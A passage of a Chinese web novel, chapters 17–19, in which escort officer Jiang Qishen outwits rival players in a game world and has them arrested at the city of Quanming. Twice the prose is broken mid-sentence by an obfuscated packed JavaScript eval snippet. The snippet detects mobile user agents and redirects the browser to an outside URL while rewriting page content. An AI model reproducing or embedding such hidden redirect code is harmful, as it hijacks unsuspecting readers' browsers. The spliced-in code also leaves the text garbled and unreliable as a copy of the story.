首先,白发男生的行为目标很明确,他想去赭石城。而时光把第二次劫车的地点定在泉鸣,一个距离赭石城仅有半小时路程的地方,泉鸣不像这里兵力稀缺。收容中心有十分充足的应援部队,可以在他们受袭的第一时间快速支援。 所以,如果劫车地点没说谎,那么时光就不是真心劫车,她也不在乎——甚至可以说,是希望收容物抵达收容中心的。 那么就可以初步推断,方游一和时光的立场一致,他们是队友。而且时光身边很可能有一个和她立场相对的玩家,使她不能背叛乌鸦的身份,必须做出劫车的行为。 ……当时和时光一起跑调的,是不是还有一个乌鸦来着? 这三个人中间,一定有自己的队友。要想办法和她们接触。 阵营人员初步清晰,江其深重新在输入框打上字,出于谨慎,他说的比较含糊:【那我也不能背叛自己的身份啊,不过泉鸣是押送路线的必经之地,你挺会挑地方。】 这话可以理解为不背叛收容官这个身份,需要把收容物押送回收容中心,也可以理解为不能背叛玩家这个身份,暗示他的立场需要将收容物送至转运中心。同时没有直接拒绝她的要求,留下转圜余地。 无论他们的任务和收容物有没有关系,这个回答应该都不会踩雷。 果然,时光回了一个美滋滋的表情,没有再说什么。 江其深微微松一口气,这个通讯仪短时间内应该是不会炸了。 17.第 17 章 车子在天微微亮时开到了补给基地,进入基地时,江其深听见一些骑士拿着对讲机,似乎在谈昨晚的支援任务。 “听说都死了,拦腰截断的……我搭档去收的尸,真惨……” “是啊,乌鸦越来越强了,不知道什么时候就轮到我们……这种生活一点盼头都没有……” 江其深默默走过,低低的议论声逐渐远去,背身行走的二人之间仿佛拉开一道无形的墙,坚硬、冰冷、沉默,隔绝出两个迥然不同的世界。 剩余路程还有六天,补给只能提五天半的分量,最后半天按抵达基地算,在基地领取。真是抠门到极致。江其深领取补给的食物和水,腹诽着返回车上。 “领到了?” “领到了。”江其深把补给往座位上一甩,踩着踏板跳进驾驶舱,“这次没三明治和牛奶了,只有咸菜饭团和葱油饼干,还有小瓶装的矿泉水。” 周照山却松一口气:“太好了,我以为他们会耍赖不给,让我们去别的基地要……” 食物是稀缺资源,他们不隶属这个基地,如果基地不愿意给,他们就只能饿着肚子去下一个基地碰运气。 “我看他是有那个意思,但是我说我们押送的收容物很危险,如果不给补给就走不了,收容物就只能扔他们基地……他就赶紧给我打包了,”江其深坐回座椅,关上车门,两人拆开咸菜饭团,在座位上就这冷水吃早餐。 “这咸菜干的塞牙……”江其深啃了两口,满脸嫌弃,怀念家园系统满满当当的冰箱和漂亮的小厨房。 周照山狼吞虎咽,吃的意犹未尽,嘴里含混不清,“干吗?啊呜……油真香啊,他们饭团还用油煎了!太好吃了……哥你剩下半块还吃不?” 他吃的眼神发光,感叹句中是满满的幸福。 “吃。”江其深无奈把剩余几口饭团吃完,猛猛灌水争取填满肚子剩下的空缺。 “按原计划现在本来应该在曲阳停车休息,但是昨晚乌鸦捣乱,咱们现在距离曲阳还有三个小时车程,还一晚没睡。如果再停车补觉,六天的行程就会走不完,”江其深调出路线图,切了一条更近的路线,“待会儿我们开自动驾驶模式,轮流值岗,你睡五小时,我睡五小时。争取把耽误的时间补回来。” 周照山猛猛点头,基地对押送时间卡的非常死,如果超时,可能会取消补贴不说,还可能问责,“听你的,江哥。” “你先睡吧,早晨活动的人少,到点了我叫你。”江其深定下闹钟,和周照山交换座位,坐到主驾的位置,开启自动驾驶模式,还想再转头叮嘱点什么,就听到鼾声震天,周照山已经放倒椅子睡死过去了。 “……”这人心态真好,昨晚死里逃生,凶手还在身后车厢里,转头就能睡得不省人事。 车子重新上路,一个人盯车非常容易犯困,为了打起精神,江其深翻开游戏面板的论坛界面打发时间。 因为副本内外时间流速不同,所以论坛的内容定格在进入副本的那个时间,也无法发布帖子。江其深在高玩交流板块搜索关键字“王苏”。 没有搜到相关的帖子。他想了想,换了个关键字“小镇诡事”。 搜索结果跳出来一条。 标题写着几个大字:【我愿称《小镇诡事》为 S 级最刀副本】 他反复刷新几次,相关词条只有这一个帖子,跟帖量不多,但是浏览量达到六位数,发帖时间在三年前,比赵海东进副本的时间更早。 江其深点进帖子。 1L:天知道《小镇诡事》赚了我多少眼泪!boss 们的故事线也太好哭了吧,而且居然会对玩家手下留情,真是我见过最仁慈的副本 boss 了!!!呜呜呜真的好希望他们能摆脱这一切获得新生啊!!! 江其深往下翻了翻,仅有的几条评论都是劝楼主说的详细一点,一看就知道是来套情报的,楼主回了几句“想要 S 级副本情报拿积分来换”“拒绝白嫖怪”一类的话,一页翻到底,没有再多关于《小镇诡事》副本内容的言论了。 虽然江其深是《小镇诡事》的 npc,但他对于游戏内容和 boss 一无所知。江其深觉得,如果 npc 也分种类,有山庄主人老约翰那种 boss 级别的 npc,管家那种小怪级别的 npc,安德鲁那种负责给玩家提供情报的相关 npc。那他大概属于第四种——和游戏内容完全无关、只是为了创造更真实的游戏世界而诞生的路人 npc。放在动漫里,最多作为背景板出现零点一秒,连脸都不需要画清楚。 王苏属于哪种呢?江其深百无聊赖地刷新帖子,其实什么也刷新不出来,只是动脑子时的无意识动作。 或许她也是路人 npc,只是不知道什么原因觉醒了,所以可以影响玩家……窸窸窣窣、窸窸窣窣。 “?” 什么声音? 江其深不露声色地关掉游戏界面。寂静的驾驶室里,只有空调“呼呼”吹冷风的声音。前方天光已亮,一轮赤红的太阳从斑驳的城市彼端升起,云雾蒸腾散开,明亮光线晃得人眼前发晕。 江其深若无其事,继续做打盹状,等了几秒,又听见——窸窸窣窣、窸窸窣窣。 声音离他很近,就在右手储物箱边,刚吃过早饭,箱子没锁,声音似乎就是从箱子里传来的。 他偷偷睁开,看见箱子里的包装袋动了一下。 瞬息之间!江其深忽然暴起,他瞄准耸动的包装袋,伸手一掀! “……叽?” 一只迷你版影兽僵硬原地,和他面面相觑。 说是迷你版一点也不为过,昨晚大杀四方的影兽身形比这辆车还大,这一只就像小老鼠,只有掌心那么一小团。江其深两手就把它给握住,连同它的罪证——正抱在怀里的咸菜饭团,兽赃并获,当场逮捕。 影兽唧唧乱叫表达强烈的抗议,抱着饭团死活不撒手, “你怎么还偷东西呢!!!” “叽叽叽?唧唧唧唧唧!!!!” 影兽干坏事被发现,不仅不心虚,还唰的竖起一身刺,明目张胆威胁他。江其深登时来了气,好你个方游一!!你一个人在这么大的后车厢,宽敞的涮火锅都行!哪怕花点积分去商城买完馄饨呢??至于来偷我的这两口就没的咸菜饭团?! 江其深怒从心起!哐哐敲驾驶后壁。 驾驶室和货舱的墙壁中间有一小扇窗,几秒后,一张苍白得好似没睡醒的脸从窗户下缓缓升起。 江其深提溜着影兽往他面前一按,影兽的脸压在栏杆上给压变形。 “什么意思?偷东西吃?” 方游一目移,含含糊糊:“唔……货舱里没给我备吃的……” 墙壁另一边应景地“咕噜“一声。” “因为冷冻休眠模式下不需要食物,”江其深冷酷无情,“我可以帮你把冷冻模式打开,你一路休眠到收容中心就不饿了。” “不好吧,怪冷的……”方游一低低睫毛,目光在影兽——主要在影兽抱着的饭团上来回打转。 那你自己去商城买吃的嘛!江其深不想暴露玩家身份,忍着没吐槽。心想这家伙难道没积分了?把影兽和饭团撕开,影兽丢回栏杆另一边,等了一会儿,又丢过去半块饭团。 “我们食物有限,最多让你吃一半。” 方游一接住饭团,收回影兽,认真剥开包装纸,高高兴兴,“谢谢。” “……”如果不是看见过他大开杀戒,江其深真会以为方游一是个什么有礼貌的乖孩子。 “吃完把垃圾给我,不要丢在货舱。” 江其深挠挠胳膊。冷气好像开的太足,皮肤干的发痒。 哎,周照山好像随身带着护肤乳……他转头看过去,一旁的周照山在睡梦中抓抓脸,留下几道酣足的红痕。 看来他的护肤乳没用,算了。江其深从兜里摸出昨晚吃剩的半块巧克力,最外层的包装袋经历一夜颠簸不知道丢哪儿去了,只剩一张银色锡箔纸,拆的喀拉喀拉响。 栏杆后头又冒出白脑袋,目光灼灼,一言不发。 江其深顿了一下,顶着后背扎人的目光,剥开锡箔纸把巧克力一口塞进嘴里嚼嚼嚼,锡箔纸团成一团,扔进车载垃圾箱。 身后的视线失望地默默移了下去。 *** 从早晨出发,二人一路轮流睡觉,车子行驶了四五天,没有遇到更大的埋伏,中间偶有几次乌鸦的小型骚扰,江其深判断不是玩家行为,应该是附近的 npc 在打游击。都被方游一的影兽直接吃掉了。 等到第五天的凌晨,摆脱一小股乌鸦的尾随后,车子终于驶进泉鸣。下了空轨,进入公路,周照山精神振奋:“江哥,听说泉鸣的黑货交易市场特猖獗,能买到很多辐射危机前的东西,还有好吃的!” 这才是重点吧……不过江其深确实有点饿了,他和周照山各自从分例的饭团里凑一些给方游一,致使本来就不太够的饭量更不够了,要不是一路路过其他基地时故技重施,拿乌鸦袭击当借口去基地蹭补给,威胁不给补给就把收容物扔这儿,才换来一波波续命的粮食。否则他们可能都没开车的力气。 趁着周照山开车的功夫,江其深用通讯仪给时光发了消息:到达泉鸣。 *** 泉鸣是一座辐射前时代旧工业机械的老城,玻璃式样的大楼、充斥金属气息的工业废墟,宽阔的街道和随处可见的、堆得小半座楼高的机械垃圾,处处透露出着与时代格格不入的气息。 日光晒的古铜色金属建筑好似太阳的碎片,折射出的刺眼光芒穿透挡风玻璃,落在驾驶舱的二人身上。江其深收到时光发送的“ok”表情后,扭头对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530906|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周照山道:“我记得泉鸣的市场开在地下,白天也照常运营。” 周照山“啊”地点头,“泉鸣建了个地下城,我还没去过呢,据说居民白天都在地下城活动,阳光照不到,辐射很低。基本可以忽略不计。” 真有意思,一般的逻辑来讲,外来的陨石倘若含有辐射,距离陨石越近,辐射越高。但这个副本里的陨石显然不是这么回事,它的作用是使阳光成为杀人利器,对人体造成难以逆转的伤害。且一年强过一年。 “待会儿把车停地下城入口,我们进城一趟。” “现在?”周照山意外,“任务还没完成呢!那后车厢那个……怎么办啊?” 他目露担忧,封装显然困不住方游一,这家伙在后车厢随意进出,甚至还爬到车顶吹风,简直不把他们两个收容官放眼里。 “时间够,让他在车上呆着吧,他想进城,不会跑的。”江其深说着切换导航,显然没有商量的意思。 此时,距离正式回归收容中心还有 24 个小时的时间限制。划掉路程,他们可以在泉鸣停留十二小时。这是江其深一路紧赶慢赶挤出来的时间。 他要在十二小时之内,确定自己的立场,从这些玩家口中套出他们的任务目标。最少,也要知道这些玩家为什么想要去收容中心。 *** “他们到了?” “到了啊,”时光悠哉靠在副驾驶的位置,车座椅拉的靠后,两条腿翘在副驾的仪表台上架着,一手商城买来的烤串,喷香冒油,滋滋作响。 田卓佳在心里骂人,嘴上却说:“你怎么什么东西都能弄到。这又是在哪搞到的吃的。” 为了伪装 npc 身份,她这几天都在吃储备干粮,硬的咯牙,没法下嘴,吃的快对世界失去希望了。再闻这个味道,简直是折磨。 时光吧唧吧唧嘴,抹了一串烤串,一口气咕咚半瓶酸奶,打个嗝儿:“我会魔法。” 会你大爷。田卓佳咬着牙笑,这一路她也算是看出来了,时光丝毫没有掩饰自己玩家身份的想法,她极其放肆地订购商城食品,一日三餐还有夜宵和零食,印着“系统生产”“商城出品”字样的包装纸大喇喇扔在她面前,演都不演,好像在借此观察田卓佳的反应。 这样嚣张的行为,如果不是对自己的实力极度自信,就是脑子有坑。 田卓佳当然不会给她什么反应,npc 无法看见食品包装上的“系统”“商城”一类的字样,最多是对她搞食物的神通广大表示惊奇——田卓佳不打算暴露自己的玩家身份,演的十分夸张。虽然目前看来,时光的行为和她的任务不冲突,很可能二人是同一阵营,但是在遇到更多玩家前,还不能下定论。 万一这货是在骗她,想要套她的任务怎么办。 “他们的定位在哪儿?” “我看看啊……”时光用空余的小拇指点开通讯仪:“嗯,停车了,就在前边左拐五公里。” “好,我们尽快追上,”田卓佳把车速调到最高,面无表情,“免得他们跑了。” “那得快点,不然又要错过了。”时光笑嘻嘻的,“这是收容中心前最后一站,再错过,可就真没招了。” 田卓佳看了一眼后视镜,“这次肯定不会错过的。” *** 泉鸣,地下城。 地下城有十二个入口,是泉鸣收容中心的旧址,五年前泉鸣收容中心与赭石收容中心合并这里就空了出来,由防卫基地代管,开放给普通民众——其实也没什么普通民众,辐射时代,除了乌鸦和骑士,就是患了辐射病、即将走到生命尽头的病人。 泉鸣地下城成了这些辐射患者最后的安乐乡,他们像生活在地底的老鼠,也像群居的蝼蚁,四处搜罗来生活的物资,好像辐射前时代一样,经营起市场。不管明天会发生什么,也不管自己还剩几天的寿命,早晨起来还能睁开眼,就拎着大布袋子,到熙熙攘攘的地下公园,摆起摊。 食物、日用品、枪械、药物、家具……各种物品流通于此,就连附近基地的骑士也会来这里买辐射前时代生产的本子和游戏机,有时候去年来还见到的老板,今年再来就看不见了,没人问老板哪去了,谁都知道答案。 集市以地下公园为中心,呈辐射状满眼周遭的街道和巷子,街道两边都是铺子。江其深和周照山从十一入口进入,用骑士身份证换到通行卡,搭上城镇游览车,往地下公园的方向去。 城镇游览车很窄,只有普通公交车一半的大小,晃晃悠悠沿着固定的站点开去,每到一站便报出站名,“下一站,防卫基地驻地下城分局站,请下车的乘客提前准备好行李,从后门下车。” 就跟公交车一模一样。 车子即将到站,江其深忽然对周照山说:“我想起来一件事,得你帮个忙。” 周照山:“?” 18.第 18 章 游览车抵达中心站公园,江其深一人下车。 时间接近中午,许多摊贩已经摆齐了。公园拥挤着各色不同的人,大部分从外貌上可以看出患病,要么肌肤大片黑紫,要么部分躯体畸形,江其深这样身型正常的人反而是少数,一路走过,吸引不少目光。 江其深停在一个杂货铺前,目光被一个小圆盒子吸引:“这是润肤乳?” 老板是一个驼背女人,避在摊子后边,不肯露面,声音闷闷传来:“对。” 江其深拿起盒子,没有打开,但是已经闻到了一股浓郁的香气。赭石的气温实在干燥,他手臂上的皮肤越来越痒,还有蔓延到身后的趋势,不是因为没洗澡。押送车配备了简易洗澡篷,虽然条件简陋,但是可以满足基本需求。 想来只能是因为没有润肤乳了。没想到副本游戏真实到了这个地步,江其深拿出一块压缩饼干,交给摊主。 对于随时可能没有明天的辐射病人来说,钱没有任何用。集市只接受以物换物。压缩饼干放在摊子上的一瞬间,摊主顾不上遮掩自己,眼睛都直了,“腾”地站起来,捧着饼干像捧着金子。 “这……这是……” 江其深看她的样子就知道这交易成了,粮食稀缺的环境下,这块饼干能买下整个摊子,连同摊主的命。说是金子也不为过。 江其深不想引起太多注意,拿起润肤乳混入人群里,这时时间接近十二点,算一算,距离他给时光发过去消息已经三个小时,时间差不多了。 他绕到花园的僻静处,一片废弃的滑滑梯旁。坐在红色大象楼梯前,拿出一只木头娃娃。 木头娃娃一个脑袋两条腿,两只胳膊没有眼睛,也没有耳朵。这是上个副本《一二三木头人》结算附赠的 A 级道具“木偶人”,道具简介是这么写的: 【道具名称:木偶人 道具等级:A 我的眼就是你的眼,我的耳就是你的耳,我就是你,请使用我吧!在我成为你之前。 可使用次数:三次】 简介框的最下有一行小字备注,字体米粒大小,颜色和背景融为一体,不仔细看根本注意不到。 【作为副本随机掉落的非常规道具,可能会带来不同程度的副作用,请小心使用】 诡异的道具,令人不适的描述,联想到上个副本里的大 boss,江其深觉得自己还是不要用完三次比较好。 他闭上眼晴。视野一片漆黑,薄薄的眼皮下,眼珠轻轻转动,忽然眼前涌现一片明亮的画面,好像走出了地底,来到了地面上。 画面的视角是转运货车驾驶舱的顶部,俯瞰整个驾驶舱。窗外风吹树叶,窗内,方游一放倒躺椅,舒舒服服地躺在副驾,度假一样,他的手边是已经沦陷的补给箱,拆开的咸菜饭团还有一路敲诈来的黄油小面包和煮鸡蛋已经惨遭毒手,包装纸横尸遍野,他心满意足舔舔嘴唇,拍拍肚子,嘴里嘟囔着什么“靠我敲诈来的食物也有我的一份”,狗腿的影兽给他捏腰捶腿,好不快活。 江其深看得拳头都硬了,深呼吸平复情绪,切换视角。驾驶舱顶部的木偶眼珠转了一下,视角转换到车外,放在树林枝梢上的眼珠子咕噜转动,锁定眼下的转运货车。 江其深把木偶的两只眼睛和两只耳朵分别放在车里和车外,做了两份视野,此时车外的视野就起到了作用。 ——就在方游一吃饱躺平的时候,一辆小型空轨车从马路的尽头缓缓出现,离得很远就能隔着挡风玻璃看见副驾驶那一头靓丽的粉色短发。 “定位真没错,果然在这。” 货运车出现在前方,只有一个米粒大小时,田卓佳按下驾驶面板的功能键,车子锁定前方转运货车。 时光戴上眼镜,“干活咯——” 她拉住车窗,脚踩在座椅上,上身从车窗探出去,反手拉住车顶的行李架,用力一蹬,整个人游鱼一般从车窗滑出,攀上车顶。接着趴好位置,一手牢牢抱住行李架固定身形,一手摸出手枪,用力砸了砸车顶。 田卓佳听见头顶传来咚咚地拍打声,明白人已就位,按下按键。车子倏忽腾空。 小型空轨车有短时间脱轨越空的能力,趁这个机会偷袭转运车,由车顶的时光跳下车,袭击驶舱,转移火力,再由田卓佳降下车子,利用车子从空中砸下的力量强行砸开货舱,劫持货物——原本二人是这么谋划的。 小型空轨车如鸟般滑起,即将跃至货运车上空时,田卓佳忽然听到车顶传来“扑通”一声,时光提前跳车了! 这个位置跳不到驾驶舱上,而如果位置偏移,被驾驶舱的骑士提前发觉,只会白白浪费争取来的先机—— 不好,被暗算了! “你们玩去吧,拜拜咯。”时光落地一滚,卸掉冲击的力道,反手拔枪对着滑至货运车上空的空轨车就是一枪。 【当前装弹模式:炸裂弹】 火光像一枚盛开的烟花,爆发于货车上空,随着熊熊燃烧的车子碎片一起落下的,还有狼狈逃出的田卓佳。 时光什么时候发现的?! 田卓佳在车子炸裂前一秒踹开车门跳下车,犹如一枚小炮弹砸中驾驶舱顶部,落地的瞬间,拉住车顶,反身一跃,腾空猛踹车窗,玻璃应声而碎! 车窗里,满眼困倦的方游一睁大眼。 这一幕仿佛慢动作被无限延长,冲天的火光明暗交错,轰炸声覆盖耳膜,整个世界只剩一线嗡鸣,和破开玻璃而来、无限放大的鞋底。 吓得他手里的饭团都忘了吃。 “轰!!!” 时光忽然眯起眼。爆炸声光映照下的转运车顷刻间碎成两半,两道身影快的几乎看不清,在车子一分为二的瞬间,从裂缝中跳出,稳稳落地。 田卓佳一瞄车厢,空空如也,什么都没有。 收容物呢? 时光等了几秒,没看见更多身影,也怔了一下。 江其深呢? 方游一双手空空。 我饭团呢? 三个人心中同时涌上一股无名火! 时光笑了。她小算盘盘的啪啪响,本打算把田卓佳推到转运车去和江其深碰碰,自己隔岸观火,看看两人是不是同一立场,。没想到江其深也是打的这个算盘,猜出通讯仪里的定位器,把通讯仪往车里一丢自己跑了,扔了一辆空车和一个不知道哪来的白毛给她们! 田卓佳回过味来,也气笑了。原来这狗东西从一开始就在算计她!什么偷偷安了定位要劫车,说的和真的一样,根本就是和对方串通好给她设了个埋伏!那两个收容官早把收容物带跑了! “他们从哪条路线走的?!”田卓佳不再掩藏,她直接拿出自己的道具怀表,启动的瞬间,秒针转动的滴答声同时响在所有人耳畔。 “嘀嗒、嘀嗒、嘀嗒……” 方游一一怔愣,这人是玩家!饭团被打飞的愤怒瞬间抛之脑后,他的反应堪称迅速,在第一声“嘀”响起时,他立刻召唤影兽,然而巨型影兽脱出的瞬间,周围的环境已经在“哒”声中面目全非。 世界换了一个样子。 昏沉的太阳和皎洁的月亮沉在地平线的对侧,荒芜的平原一望无际,顷刻间,世界仿佛只剩他一人,方游一听见浑厚犹如庞然大物的声音从昏黄的苍穹背后盖下来—— “他们带着收容物从哪儿走了?” 每个字都有泰山压顶般的重量,压得人无法呼吸方游一只觉得答案从心底浮到嘴边,好像有了自己的意识,想要拼命脱离他的掌控,脱口而出。 他喉咙的每一寸肌肉都在剧烈颤抖,仿佛千百只蝴蝶将欲飞出。方游一暴喝一声,无形的蝴蝶粉碎于虚空,广袤的平原上,透明的空气撕扯扭曲,勾勒出影兽的轮廓。 “煞。” 方游一咬破食指,手臂平展,拇指挤压指腹,渗出一滴猩红血珠。血珠在暴露于空气中的瞬间无限延长生长,顺着掌心和手臂内侧的肌肤向上攀走,蔓延到脖颈和脸侧,犹如植物的根茎,终于在尖梢触及眼尾的一刹那,烂漫盛开。 困倦的面庞一瞬间变得妖异至极。 *** “怎么回事……卡了?” 江其深起眉,木偶放在车内的一只眼睛和一只耳朵被爆炸炸毁,只剩林间树梢上挂着的一眼一耳。 他原本的计划中,把定位器偷偷放在座椅下,引诱时光到场,至少可以聚集三个玩家对峙,怎么也该有一个自己的队友。就算运气差,遇到的这三人都是对立阵营,也可以偷听到点任务相关的东西,判断下形势。对他有利无害。 没想到,田卓佳掏出怀表之后,时光和方游一就像被蛊惑了一样,站立原地,一动不动,原本剑拔弩张的气氛瞬间跌入冰点。画面仿佛被按下暂停键,若不是风扬起的尘沙,江其深会以为最后一只眼睛和耳朵也坏了。 莫非这是怀表的功能? “押送收容物的收容官……”沉迫的声音再度响起于大地之上,动摇心魄,“……到底去哪了!” 方游一猛地睁开眼,金色花蕊盛放于他眸中,占据半张脸的妖异花朵盛开到极致,以他为中心,向四周掀起绚烂火势,顷刻间如大火燎原,烧破脆弱的荒原幕布,显露出幕布下世界的本来样子——一劈为二的转运车前,被催眠和进入催眠的玩家同时醒来! 盛极而衰的花瓣纷纷凋落,将白发青年染得如同一个血人。时光率先反应过来,下一秒两道枪声响起——她迅速辨认出方游一的玩家身份,不由分说地一人送了一枪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533369|203659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>影兽高高跃起,一口吞噬子弹,尚未落地就被爆裂弹炸的粉身碎骨,化成千万片碎影,被方游一张口收回舌尖。田卓佳眼见催眠不成,心中暗骂,她已经认准这是几人联合给她下套,当即不打算多纠缠,反身欲走,叫时光这么一拦,脚步慢了半拍,子弹擦着她的脸颊射过,在身后掀起爆炸的热浪。 “你们都是玩家。”不是疑问句,是肯定句。方游一恍然,语气听起来有点困惑,“但为什么要劫收容官?我的任务里没有这条。” 凭这一句话,阵容已分,方游一和田卓佳领到的不是同一个任务,两人是对立阵营。田卓佳心里一沉,知道情势大大不利。 “好遗憾,田卓佳,看来这里没有你的队友,”时光双手一摊,火上浇油,“似乎我的运气比你要好一点。” 田卓佳冷笑一声,“现在下结论是不是太早了点?” 说话的同时,方游一和时光同时动起来,两人一前一后,对田卓佳正形成包围之势,时光切换追踪弹,枪口上抬,方游一先一步卡住田卓佳的去路,封死逃跑的可能性。 两人虽没商量,行动配合的十分默契,子弹出膛的瞬间,田卓佳瞳孔剧烈紧缩,下一秒,方游一眼前一花,身子像被一只透明的手攫起又放下,速度快到肉眼难以反应,紧接着,子弹正冲方游一面门而来!千钧一发之际,方游一反弓腰身,子弹擦着他的鼻尖掠过。 “原来她的技能是移形换位。”时光砰砰两声再度向天开枪,“不过我这是追踪弹。” 三枚子弹在空气中擦出,田卓佳情急之中选择的换位没有替她挡下子弹,还暴露了自己的技能,但也为她争取来一条出路。她没有半秒犹豫,再度拿出怀表。 摄魂怀表有两个功能,一个是将周围一定范围的人的精神摄入预备好的场景中进行拷问,另一个,是可以短暂麻痹敌人的神经,使对方大脑一片空白,陷入僵直状态三秒钟。 有时候,短短一秒钟就可以颠覆战局,三秒钟绰绰有余了。 “嘀嗒——” 秒针走动的声音从大脑深处响起,紧追不放的二人身形俱是一僵! 就是现在! 田卓佳召出道具,一只冰箭从她身后窜出,以极快的速度穿过几枚子弹,在碎裂声中,向着凝固的二人射去。 箭羽未到,寒风先至!就在箭羽逼近时光眼睛的刹那,叮啷一声,镜片一闪,箭身自顶端寸寸碎裂,化为飞灰。 “都是过了几百上千次副本的人,谁还没点保命道具。你也太小看我了吧”时光轻扶镜框,透明镜片后的眼睛透出一丝狡黠,镜片的颜色再度变化,重新恢复成异色。 “保命道具?”方游一闻言诚恳发问,“那是什么?系统发的吗?我怎么没有?” 时光和田卓佳看方游一的眼神多了一丝钦佩和惊愕,就差把“你是怎么活到现在的”几个大字写到脸上。田卓佳“啧”一声,几次三番都没有摆脱二人,只好转过来硬着头皮以一敌二。 田卓佳也是老 A 级玩家了,手里不少 A 级道具,最近在准备升 S 级,但是时光这货显然等级比她更高。 系统规定玩家不能选择低于自身等级两级以上的副本这个规定是为了防止高玩屠新手村,也是为了防止高等级道具出现在低阶副本中,破坏游戏平衡。 这就苦了 A 级和 B 级玩家,总有些不要脸的 S 级玩家为了刷道具,到 A 级和 B 级副本里来炸鱼,搞得他们有苦说不出。虽然 A 级和 S 级中间只隔了一个等级,但中间相差的经验却可能是几百个副本,更不要说道具和技能的差别了。 田卓佳心里骂人,却也希望自己那未曾谋面的两个队友有 S 级,进入副本到现在快一周时间,她连队友是谁都没见过。 田卓佳以极快的速度移形换位,为自己争取操作的空间,方游一被换的一脑门火气,再度召出影兽,兽鸣响彻云霄,随之一道响起的,是数道示警的枪声,和靛蓝色的罗网从头顶展开,以雷霆之势向三人席卷而去!并在触及皮肤的瞬间,迅速收缩成三张量身定制的约束服,将三人捆成三只蚕蛹。 “?” “还好赶上了……江哥说的果真没错,我们早被乌鸦盯上了!还好他让我去分局请了援兵,这些你们一个也跑不掉了吧!”周照山从护卫队内越众而出洋洋得意,“把他们全部关押起来!带上收容车!押去赭石收容中心!” 护卫队队长陈渠一挥手:“押走。” 时光的额头绷出青筋,“江其深你个——” “啪嗒!”江其深猛地关掉视野。 好险,差点让她骂到了。 抱歉了,在明确自己立场前,你们还是一个都别死比较好。先去收容中心呆着吧。 19.第 19 章 看时光和方游一的反应,他们的任务很好认队友,三言两语就摸清楚了彼此的阵营。反观自己的任务,【帮助己方立场】几个字看似交代了阵营,其实和没说一样。 什么是“己方立场”?如果他的立场是骑士,是收容中心,那么作为乌鸦和被收容物的时光三人就该作为他的对立立场统一战线,但现在看来很显然不是这样。时光三人分属两个阵营,那么游戏划分立场的标准肯定不是“骑士”和“乌鸦”这么简单。 就知道游戏不会这么容易。 副本六名玩家,现在出场四名,还有两人——又会是什么身份呢? *** 江其深和周照山坐上护卫队的车,从最近的路往赭石收容中心去。护卫队的编制级别高过他们两个等级,连伙食都改善了不少,从冷饭预制菜变成现炒大锅饭,江其深跟着吃了两顿,直到晚上,车队抵达赭石收容中心,还恋恋不舍不想下车。 “不愧是陈队长,听说当初收押227号损失了无数中心的精兵猛将,最后还得您亲自出手,才制服那个祸害!”周照山一个劲儿拍马屁,“所以我一听说有人来劫227,就立刻想到了您,果然!还是得您再度出手,才能扭转乾坤啊!” 前来接洽的赭石城护卫队队长陈渠:“有话直说。” 周照山星星眼:“我们晚饭还没吃呢,能蹭顿晚饭再走吗?” “……按照条例,押送收容物的收容官在完成任务后需要体检,再在收容中心观察一周才能离开,你还能在基地吃一周的饭。” 江其深以为自己听错:“什么条例?我怎么没听过?” 陈渠:“上个月新颁布的,还不是因为你们收容官……” 他话说到一半,忽然打住,好像意识到什么,顿了顿,问道:“你们一路押送过来遇到什么事情没有?” 江其深道:“什么事?乌鸦劫道算么?那两只你已经抓住了。” “不是……我是说别的,有没有身体不舒服一类的。” 江其深摸不着头脑,陈渠道,“算了,你和小周先去体检吧,临时宿舍给你们分配好了,路过后勤部的时候记得领餐券。” “知道了。” 赭石收容中心作为全球最大的收容中心,一应物资供给都是最好的,宿舍和餐食跟他们的小基地比起来就像五星级酒店,不用挤在狭窄的驾驶舱,睡在放平的座椅上,也不用关在狭窄的胶囊仓里,每次醒过来都要担心别磕着头。 “我希望以后每次收容任务都是来赭石收容中心。”周照山双手合十,模样虔诚。 江其深洗过澡,穿着背心坐在单人床上抹润肤乳:“体检是要检测什么?抽了我四百毫升的血,感觉头好晕,我贫血了……” “那你晚上多吃点,”周照山拿毛巾擦头发,“我听他他们体检中心的人说,这是吕博士搞出来的流程,凡是来赭石的收容官都得搞这么一遭,回来的时候碰见隔壁几个房间的人没?那是西北基地派来的收容官,他们已经呆了六天了,明天就能走。” “总觉得怪怪的。”江其深嘟囔。 在上一个副本,晚上九点是系统强制的集会时刻,时间一到,哪怕玩家远在千里之外,也会被系统强制刷新到山庄宴会厅,参与晚上的玩家集会。 但在这个副本不存在这种强制环节。进入副本这几天以来,江其深甚至分不清自己身边的人是玩家还是 npc。 为什么会这样? 仔细想想,或许这和自己的身份有关。 这个副本是 3v3 的赛制,玩家却分两个类型,一个是时光那种任务明确,立场阵营清晰的玩家,一种是自己这种立场阵营不明的 X 玩家。 阵营清晰的玩家保证了游戏的对抗性,而自己这样的不明因素 X 则是游戏的不确定因素。试想,如果有一个 X 玩家认错了自己的立场,或者冒充对方队友,游戏会发生什么变化呢? 没有强制集会的环节,为 X 玩家提供了丰富的操作空间,让玩家有机会藏下身份,必要时足以打出绝地翻盘的操作。 但对江其深来说,这个优势不一定存在。 因为时光认得他。 玩家身份如果暴露,X 